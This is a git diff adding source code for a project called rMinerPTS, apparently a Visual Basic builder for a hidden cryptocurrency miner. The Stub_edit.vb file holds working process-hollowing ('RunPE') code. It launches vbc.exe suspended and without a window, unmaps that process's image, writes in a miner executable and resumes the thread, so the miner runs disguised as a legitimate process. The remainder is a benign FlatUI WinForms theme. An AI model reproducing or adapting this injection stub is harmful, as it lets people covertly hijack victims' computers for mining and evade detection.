lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean + End Function + + _ + Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr + End Function + + _ + Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger + End Function + + _ + Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer + End Function + + _ + Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer + End Function + + _ + Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer + End Function + + _ + Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger + End Function +End Class \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/Source/Stub_edit.vb b/scode (rMinerPTS/rMinerPTS/Source/Stub_edit.vb new file mode 100644 index 0000000..76184ad --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/Source/Stub_edit.vb @@ -0,0 +1,171 @@ +Option Strict On + +Imports System.Reflection + +Module Stub_edit + + Sub main() + + Dim r As New Resources.ResourceManager("rMine", Assembly.GetExecutingAssembly()) + Dim bytes As Byte() = DirectCast(r.GetObject("rMiner"), Byte()) + + + rMinerPE.Create(IO.File.ReadAllBytes("D:\Projekte\RunPE testing\RunPE testing\jhProtominer.exe"), System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "vbc.exe", "%ARGS%") + End Sub + + Public Function AESDecrypt(ByVal input As String, ByVal pass As String) As String + Dim AES As New System.Security.Cryptography.RijndaelManaged + Dim Hash_AES As New System.Security.Cryptography.MD5CryptoServiceProvider + Dim decrypted As String = "" + Try + Dim hash(31) As Byte + Dim temp As Byte() = Hash_AES.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(pass)) + Array.Copy(temp, 0, hash, 0, 16) + Array.Copy(temp, 0, hash, 15, 16) + AES.Key = hash + AES.Mode = Security.Cryptography.CipherMode.ECB + Dim DESDecrypter As System.Security.Cryptography.ICryptoTransform = AES.CreateDecryptor + Dim Buffer As Byte() = Convert.FromBase64String(input) + decrypted = System.Text.ASCIIEncoding.ASCII.GetString(DESDecrypter.TransformFinalBlock(Buffer, 0, Buffer.Length)) + Return decrypted + Catch ex As Exception + End Try + End Function + + Function getCores() As String + Dim i As Integer + i = CInt(Environment.ProcessorCount / 2) + Dim s As String = " " & CStr(i) + Return s + End Function +End Module + +Public NotInheritable Class rMinerPE + Private Sub New() + End Sub + Public Shared Function Create(ByVal exeBuffer As Byte(), ByVal hostProcess As String, Optional ByVal optionalArguments As String = "", Optional ByVal Debug As Boolean = False) As Boolean + Dim IMAGE_SECTION_HEADER As Byte() = New Byte(39) {} + + Dim IMAGE_NT_HEADERS As Byte() = New Byte(247) {} + + Dim IMAGE_DOS_HEADER As Byte() = New Byte(63) {} + + Dim PROCESS_INFO As Integer() = New Integer(3) {} + + Dim CONTEXT As Byte() = New Byte(715) {} + + Buffer.BlockCopy(BitConverter.GetBytes(CONTEXT_FULL), 0, CONTEXT, 0, 4) + + + Buffer.BlockCopy(exeBuffer, 0, IMAGE_DOS_HEADER, 0, IMAGE_DOS_HEADER.Length) + + + + If BitConverter.ToUInt16(IMAGE_DOS_HEADER, 0) <> IMAGE_DOS_SIGNATURE Then + Return False + End If + + Dim e_lfanew As Int32 = BitConverter.ToInt32(IMAGE_DOS_HEADER, &H3C) + + + Buffer.BlockCopy(exeBuffer, e_lfanew, IMAGE_NT_HEADERS, 0, IMAGE_NT_HEADERS.Length) + + If BitConverter.ToUInt32(IMAGE_NT_HEADERS, 0) <> IMAGE_NT_SIGNATURE Then + Return False + End If + + If Not String.IsNullOrEmpty(optionalArguments) Then + hostProcess += " " & optionalArguments + End If + + If Debug Then + If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_SUSPENDED, _ + IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then + Return False + End If + Else + If Not CreateProcess(Nothing, hostProcess, IntPtr.Zero, IntPtr.Zero, False, CREATE_NO_WINDOW + CREATE_SUSPENDED, _ + IntPtr.Zero, Nothing, New Byte(67) {}, PROCESS_INFO) Then + Return False + End If + End If + + + Dim ImageBase As IntPtr = New IntPtr(BitConverter.ToInt32(IMAGE_NT_HEADERS, &H34)) + + NtUnmapViewOfSection(CType(PROCESS_INFO(0), IntPtr), ImageBase) + + If VirtualAllocEx(CType(PROCESS_INFO(0), IntPtr), ImageBase, BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H50), MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE) = IntPtr.Zero Then + Create(exeBuffer, hostProcess, optionalArguments) + End If + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), ImageBase, System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, 0), BitConverter.ToUInt32(IMAGE_NT_HEADERS, 84), IntPtr.Zero) + + For i As UShort = 0 To CUShort(BitConverter.ToUInt16(IMAGE_NT_HEADERS, &H6) - 1) + + Buffer.BlockCopy(exeBuffer, e_lfanew + IMAGE_NT_HEADERS.Length + (IMAGE_SECTION_HEADER.Length * i), IMAGE_SECTION_HEADER, 0, IMAGE_SECTION_HEADER.Length) + + Dim ptp As IntPtr = System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(exeBuffer, CInt(BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H14))) + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), IntPtr), CType(CInt(ImageBase) + BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &HC), IntPtr), ptp, BitConverter.ToUInt32(IMAGE_SECTION_HEADER, &H10), IntPtr.Zero) + Next + + + NtGetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + + Dim ti1 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HAC + + NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(ti1, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero) + + Dim ti2 As Integer = CInt(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + &HB0 + 'OLD NtWriteVirtualMemory(CType(PROCESS_INFO(0), System.IntPtr), CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HAC, System.IntPtr), ImageBase, &H4, System.IntPtr.Zero) + System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(ti2, IntPtr), 4) + 'OLD System.Runtime.InteropServices.Marshal.Copy(BitConverter.GetBytes(CUInt(ImageBase) + BitConverter.ToUInt32(IMAGE_NT_HEADERS, &H28)), 0, CType(System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0) + &HB0, IntPtr), 4) + + NtSetContextThread(CType(PROCESS_INFO(1), IntPtr), System.Runtime.InteropServices.Marshal.UnsafeAddrOfPinnedArrayElement(CONTEXT, 0)) + + NtResumeThread(CType(PROCESS_INFO(1), IntPtr), IntPtr.Zero) + + Return True + End Function + + + Private Const CONTEXT_FULL As UInteger = &H10007 + Private Const CREATE_SUSPENDED As Integer = &H4 + Private Const CREATE_NO_WINDOW As Integer = &H8000000 + Private Const MEM_COMMIT As Integer = &H1000 + Private Const MEM_RESERVE As Integer = &H2000 + Private Const PAGE_EXECUTE_READWRITE As Integer = &H40 + Private Const IMAGE_DOS_SIGNATURE As UShort = &H5A4D + + Private Const IMAGE_NT_SIGNATURE As UInteger = &H4550 + + _ + Private Shared Function CreateProcess(ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As IntPtr, ByVal lpThreadAttributes As IntPtr, ByVal bInheritHandles As Boolean, ByVal dwCreationFlags As UInteger, _ + ByVal lpEnvironment As IntPtr, ByVal lpCurrentDirectory As String, ByVal lpStartupInfo As Byte(), ByVal lpProcessInfo As Integer()) As Boolean + End Function + + _ + Private Shared Function VirtualAllocEx(ByVal hProcess As IntPtr, ByVal lpAddress As IntPtr, ByVal dwSize As UInteger, ByVal flAllocationType As UInteger, ByVal flProtect As UInteger) As IntPtr + End Function + + _ + Private Shared Function NtUnmapViewOfSection(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr) As UInteger + End Function + + _ + Private Shared Function NtWriteVirtualMemory(ByVal hProcess As IntPtr, ByVal lpBaseAddress As IntPtr, ByVal lpBuffer As IntPtr, ByVal nSize As UInteger, ByVal lpNumberOfBytesWritten As IntPtr) As Integer + End Function + + _ + Private Shared Function NtGetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer + End Function + + _ + Private Shared Function NtSetContextThread(ByVal hThread As IntPtr, ByVal lpContext As IntPtr) As Integer + End Function + + _ + Private Shared Function NtResumeThread(ByVal hThread As IntPtr, ByVal SuspendCount As IntPtr) As UInteger + End Function +End Class \ No newline at end of file diff --git a/scode (rMinerPTS/rMinerPTS/Theme/FlatUI.vb b/scode (rMinerPTS/rMinerPTS/Theme/FlatUI.vb new file mode 100644 index 0000000..a76176d --- /dev/null +++ b/scode (rMinerPTS/rMinerPTS/Theme/FlatUI.vb @@ -0,0 +1,3742 @@ +Imports System.Drawing.Drawing2D, System.ComponentModel, System.Windows.Forms + +''' +''' Flat UI Theme +''' Creator: iSynthesis (HF) +''' Version: 1.0.4 +''' Date Created: 17/06/2013 +''' Date Changed: 26/06/2013 +''' UID: 374648 +''' For any bugs / errors, PM me. +''' +''' + +Module Helpers + +#Region " Variables" + Friend G As Graphics, B As Bitmap + Friend _FlatColor As Color = Color.FromArgb(35, 168, 109) + Friend NearSF As New StringFormat() With {.Alignment = StringAlignment.Near, .LineAlignment = StringAlignment.Near} + Friend CenterSF As New StringFormat() With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center} +#End Region + +#Region " Functions" + + Public Function RoundRec(ByVal Rectangle As Rectangle, ByVal Curve As Integer) As GraphicsPath + Dim P As GraphicsPath = New GraphicsPath() + Dim ArcRectangleWidth As Integer = Curve * 2 + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -180, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -90, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 0, 90) + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 90, 90) + P.AddLine(New Point(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y), New Point(Rectangle.X, Curve + Rectangle.Y)) + Return P + End Function + + Public Function RoundRect(x!, y!, w!, h!, Optional r! = 0.3, Optional TL As Boolean = True, Optional TR As Boolean = True, Optional BR As Boolean = True, Optional BL As Boolean = True) As GraphicsPath + Dim d! = Math.Min(w, h) * r, xw = x + w, yh = y + h + RoundRect = New GraphicsPath + + With RoundRect + If TL Then .AddArc(x, y, d, d, 180, 90) Else .AddLine(x, y, x, y) + If TR Then .AddArc(xw - d, y, d, d, 270, 90) Else .AddLine(xw, y, xw, y) + If BR Then .AddArc(xw - d, yh - d, d, d, 0, 90) Else .AddLine(xw, yh, xw, yh) + If BL Then .AddArc(x, yh - d, d, d, 90, 90) Else .AddLine(x, yh, x, yh) + + .CloseFigure() + End With + End Function + + '-- Credit: AeonHack + Public Function DrawArrow(x As Integer, y As Integer, flip As Boolean) As GraphicsPath + Dim GP As New GraphicsPath() + + Dim W As Integer = 12 + Dim H As Integer = 6 + + If flip Then + GP.AddLine(x + 1, y, x + W + 1, y) + GP.AddLine(x + W, y, x + H, y + H - 1) + Else + GP.AddLine(x, y + H, x + W, y + H) + GP.AddLine(x + W, y + H, x + H, y) + End If + + GP.CloseFigure() + Return GP + End Function + +#End Region + +End Module + +#Region " Mouse States" + +Enum MouseState As Byte + None = 0 + Over = 1 + Down = 2 + Block = 3 +End Enum + +#End Region + +Class FormSkin : Inherits ContainerControl + +#Region " Variables" + + Private W, H As Integer + Private Cap As Boolean = False + Private _HeaderMaximize As Boolean = False + Private MousePoint As New Point(0, 0) + Private MoveHeight = 50 + +#End Region + +#Region " Properties" + +#Region " Colors" + + _ + Public Property HeaderColor() As Color + Get + Return _HeaderColor + End Get + Set(value As Color) + _HeaderColor = value + End Set + End Property + _ + Public Property BaseColor() As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + _ + Public Property BorderColor() As Color + Get + Return _BorderColor + End Get + Set(value As Color) + _BorderColor = value + End Set + End Property + _ + Public Property FlatColor() As Color + Get + Return _FlatColor + End Get + Set(value As Color) + _FlatColor = value + End Set + End Property + +#End Region + +#Region " Options" + + _ + Public Property HeaderMaximize As Boolean + Get + Return _HeaderMaximize + End Get + Set(value As Boolean) + _HeaderMaximize = value + End Set + End Property + +#End Region + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + If e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(0, 0, Width, MoveHeight).Contains(e.Location) Then + Cap = True + MousePoint = e.Location + End If + End Sub + + Private Sub FormSkin_MouseDoubleClick(sender As Object, e As MouseEventArgs) Handles Me.MouseDoubleClick + If HeaderMaximize Then + If e.Button = Windows.Forms.MouseButtons.Left And New Rectangle(0, 0, Width, MoveHeight).Contains(e.Location) Then + If FindForm.WindowState = FormWindowState.Normal Then + FindForm.WindowState = FormWindowState.Maximized : FindForm.Refresh() + ElseIf FindForm.WindowState = FormWindowState.Maximized Then + FindForm.WindowState = FormWindowState.Normal : FindForm.Refresh() + End If + End If + End If + End Sub + + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) : Cap = False + End Sub + + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + If Cap Then + Parent.Location = MousePosition - MousePoint + End If + End Sub + + Protected Overrides Sub OnCreateControl() + MyBase.OnCreateControl() + ParentForm.FormBorderStyle = FormBorderStyle.None + ParentForm.AllowTransparency = False + ParentForm.TransparencyKey = Color.Fuchsia + ParentForm.FindForm.StartPosition = FormStartPosition.CenterScreen + Dock = DockStyle.Fill + Invalidate() + End Sub + +#End Region + +#Region " Colors" + +#Region " Dark Colors" + + Private _HeaderColor As Color = Color.FromArgb(45, 47, 49) + Private _BaseColor As Color = Color.FromArgb(60, 70, 73) + Private _BorderColor As Color = Color.FromArgb(53, 58, 60) + Private TextColor As Color = Color.FromArgb(234, 234, 234) + +#End Region + +#Region " Light Colors" + + Private _HeaderLight As Color = Color.FromArgb(171, 171, 172) + Private _BaseLight As Color = Color.FromArgb(196, 199, 200) + Public TextLight As Color = Color.FromArgb(45, 47, 49) + +#End Region + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.White + Font = New Font("Segoe UI", 12) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width : H = Height + + Dim Base As New Rectangle(0, 0, W, H), Header As New Rectangle(0, 0, W, 50) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + '-- Header + .FillRectangle(New SolidBrush(_HeaderColor), Header) + + '-- Logo + '.FillRectangle(New SolidBrush(Color.FromArgb(243, 243, 243)), New Rectangle(8, 16, 4, 18)) + .FillRectangle(New SolidBrush(Color.FromArgb(0, 0, 0)), New Rectangle(8, 16, 4, 18)) + .FillRectangle(New SolidBrush(_FlatColor), 16, 16, 4, 18) + + TextColor = Color.FromArgb(45, 47, 49) + + .DrawString(Text, Font, New SolidBrush(TextColor), New Rectangle(26, 15, W, H), NearSF) + + '-- Border + _BorderColor = Color.Gray + .DrawRectangle(New Pen(_BorderColor), Base) + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatClose : Inherits Control + +#Region " Variables" + + Private State As MouseState = MouseState.None + Private x As Integer + +#End Region + +#Region " Properties" + +#Region " Mouse States" + + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + x = e.X : Invalidate() + End Sub + + Protected Overrides Sub OnClick(e As EventArgs) + MyBase.OnClick(e) + Environment.Exit(0) + End Sub + +#End Region + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Size = New Size(18, 18) + End Sub + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property TextColor As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + +#End Region + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(168, 35, 35) + Private _TextColor As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.White + Size = New Size(18, 18) + Anchor = AnchorStyles.Top Or AnchorStyles.Right + Font = New Font("Marlett", 10) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + + Dim Base As New Rectangle(0, 0, Width, Height) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + '-- X + .DrawString("r", Font, New SolidBrush(TextColor), New Rectangle(0, 0, Width, Height), CenterSF) + + '-- Hover/down + Select Case State + Case MouseState.Over + .FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), Base) + Case MouseState.Down + .FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), Base) + End Select + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatMax : Inherits Control + +#Region " Variables" + + Private State As MouseState = MouseState.None + Private x As Integer + +#End Region + +#Region " Properties" + +#Region " Mouse States" + + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + x = e.X : Invalidate() + End Sub + + Protected Overrides Sub OnClick(e As EventArgs) + MyBase.OnClick(e) + Select Case FindForm.WindowState + Case FormWindowState.Maximized + FindForm.WindowState = FormWindowState.Normal + Case FormWindowState.Normal + FindForm.WindowState = FormWindowState.Maximized + End Select + End Sub + +#End Region + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property TextColor As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + +#End Region + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Size = New Size(18, 18) + End Sub + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _TextColor As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.White + Size = New Size(18, 18) + Anchor = AnchorStyles.Top Or AnchorStyles.Right + Font = New Font("Marlett", 12) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + + Dim Base As New Rectangle(0, 0, Width, Height) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + '-- Maximize + If FindForm.WindowState = FormWindowState.Maximized Then + .DrawString("1", Font, New SolidBrush(TextColor), New Rectangle(1, 1, Width, Height), CenterSF) + ElseIf FindForm.WindowState = FormWindowState.Normal Then + .DrawString("2", Font, New SolidBrush(TextColor), New Rectangle(1, 1, Width, Height), CenterSF) + End If + + '-- Hover/down + Select Case State + Case MouseState.Over + .FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), Base) + Case MouseState.Down + .FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), Base) + End Select + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatMini : Inherits Control + +#Region " Variables" + + Private State As MouseState = MouseState.None + Private x As Integer + +#End Region + +#Region " Properties" + +#Region " Mouse States" + + Protected Overrides Sub OnMouseEnter(e As EventArgs) + MyBase.OnMouseEnter(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + MyBase.OnMouseDown(e) + State = MouseState.Down : Invalidate() + End Sub + Protected Overrides Sub OnMouseLeave(e As EventArgs) + MyBase.OnMouseLeave(e) + State = MouseState.None : Invalidate() + End Sub + Protected Overrides Sub OnMouseUp(e As MouseEventArgs) + MyBase.OnMouseUp(e) + State = MouseState.Over : Invalidate() + End Sub + Protected Overrides Sub OnMouseMove(e As MouseEventArgs) + MyBase.OnMouseMove(e) + x = e.X : Invalidate() + End Sub + + Protected Overrides Sub OnClick(e As EventArgs) + MyBase.OnClick(e) + Select Case FindForm.WindowState + Case FormWindowState.Normal + FindForm.WindowState = FormWindowState.Minimized + Case FormWindowState.Maximized + FindForm.WindowState = FormWindowState.Minimized + End Select + End Sub + +#End Region + +#Region " Colors" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + _ + Public Property TextColor As Color + Get + Return _TextColor + End Get + Set(value As Color) + _TextColor = value + End Set + End Property + +#End Region + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Size = New Size(18, 18) + End Sub + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(45, 47, 49) + Private _TextColor As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.White + Size = New Size(18, 18) + Anchor = AnchorStyles.Top Or AnchorStyles.Right + Font = New Font("Marlett", 12) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + Dim B As New Bitmap(Width, Height) + Dim G As Graphics = Graphics.FromImage(B) + + Dim Base As New Rectangle(0, 0, Width, Height) + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Base + .FillRectangle(New SolidBrush(_BaseColor), Base) + + '-- Minimize + .DrawString("0", Font, New SolidBrush(TextColor), New Rectangle(2, 1, Width, Height), CenterSF) + + '-- Hover/down + Select Case State + Case MouseState.Over + .FillRectangle(New SolidBrush(Color.FromArgb(30, Color.White)), Base) + Case MouseState.Down + .FillRectangle(New SolidBrush(Color.FromArgb(30, Color.Black)), Base) + End Select + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatColorPalette : Inherits Control + +#Region " Variables" + + Private W, H As Integer + +#End Region + +#Region " Properties" + + Protected Overrides Sub OnResize(e As EventArgs) + MyBase.OnResize(e) + Width = 180 + Height = 80 + End Sub + +#Region " Colors" + + _ + Public Property Red As Color + Get + Return _Red + End Get + Set(value As Color) + _Red = value + End Set + End Property + + _ + Public Property Cyan As Color + Get + Return _Cyan + End Get + Set(value As Color) + _Cyan = value + End Set + End Property + + _ + Public Property Blue As Color + Get + Return _Blue + End Get + Set(value As Color) + _Blue = value + End Set + End Property + + _ + Public Property LimeGreen As Color + Get + Return _LimeGreen + End Get + Set(value As Color) + _LimeGreen = value + End Set + End Property + + _ + Public Property Orange As Color + Get + Return _Orange + End Get + Set(value As Color) + _Orange = value + End Set + End Property + + _ + Public Property Purple As Color + Get + Return _Purple + End Get + Set(value As Color) + _Purple = value + End Set + End Property + + _ + Public Property Black As Color + Get + Return _Black + End Get + Set(value As Color) + _Black = value + End Set + End Property + + _ + Public Property Gray As Color + Get + Return _Gray + End Get + Set(value As Color) + _Gray = value + End Set + End Property + + _ + Public Property White As Color + Get + Return _White + End Get + Set(value As Color) + _White = value + End Set + End Property + +#End Region + +#End Region + +#Region " Colors" + + Private _Red As Color = Color.FromArgb(220, 85, 96) + Private _Cyan As Color = Color.FromArgb(10, 154, 157) + Private _Blue As Color = Color.FromArgb(0, 128, 255) + Private _LimeGreen As Color = Color.FromArgb(35, 168, 109) + Private _Orange As Color = Color.FromArgb(253, 181, 63) + Private _Purple As Color = Color.FromArgb(155, 88, 181) + Private _Black As Color = Color.FromArgb(45, 47, 49) + Private _Gray As Color = Color.FromArgb(63, 70, 73) + Private _White As Color = Color.FromArgb(243, 243, 243) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer, True) + DoubleBuffered = True + BackColor = Color.FromArgb(60, 70, 73) + Size = New Size(160, 80) + Font = New Font("Segoe UI", 12) + End Sub + + Protected Overrides Sub OnPaint(e As PaintEventArgs) + B = New Bitmap(Width, Height) : G = Graphics.FromImage(B) + W = Width - 1 : H = Height - 1 + + With G + .SmoothingMode = 2 + .PixelOffsetMode = 2 + .TextRenderingHint = 5 + .Clear(BackColor) + + '-- Colors + .FillRectangle(New SolidBrush(_Red), New Rectangle(0, 0, 20, 40)) + .FillRectangle(New SolidBrush(_Cyan), New Rectangle(20, 0, 20, 40)) + .FillRectangle(New SolidBrush(_Blue), New Rectangle(40, 0, 20, 40)) + .FillRectangle(New SolidBrush(_LimeGreen), New Rectangle(60, 0, 20, 40)) + .FillRectangle(New SolidBrush(_Orange), New Rectangle(80, 0, 20, 40)) + .FillRectangle(New SolidBrush(_Purple), New Rectangle(100, 0, 20, 40)) + .FillRectangle(New SolidBrush(_Black), New Rectangle(120, 0, 20, 40)) + .FillRectangle(New SolidBrush(_Gray), New Rectangle(140, 0, 20, 40)) + .FillRectangle(New SolidBrush(_White), New Rectangle(160, 0, 20, 40)) + + '-- Text + .DrawString("Color Palette", Font, New SolidBrush(_White), New Rectangle(0, 22, W, H), CenterSF) + End With + + MyBase.OnPaint(e) + G.Dispose() + e.Graphics.InterpolationMode = 7 + e.Graphics.DrawImageUnscaled(B, 0, 0) + B.Dispose() + End Sub +End Class + +Class FlatGroupBox : Inherits ContainerControl + +#Region " Variables" + + Private W, H As Integer + Private _ShowText As Boolean = True + +#End Region + +#Region " Properties" + + _ + Public Property BaseColor As Color + Get + Return _BaseColor + End Get + Set(value As Color) + _BaseColor = value + End Set + End Property + + Public Property ShowText As Boolean + Get + Return _ShowText + End Get + Set(value As Boolean) + _ShowText = value + End Set + End Property + +#End Region + +#Region " Colors" + + Private _BaseColor As Color = Color.FromArgb(60, 70, 73) + +#End Region + + Sub New() + SetStyle(ControlStyles.AllPaintingInWmPaint Or ControlStyles.UserPaint Or _ + ControlStyles.ResizeRedraw Or ControlStyles.OptimizedDoubleBuffer Or _ + 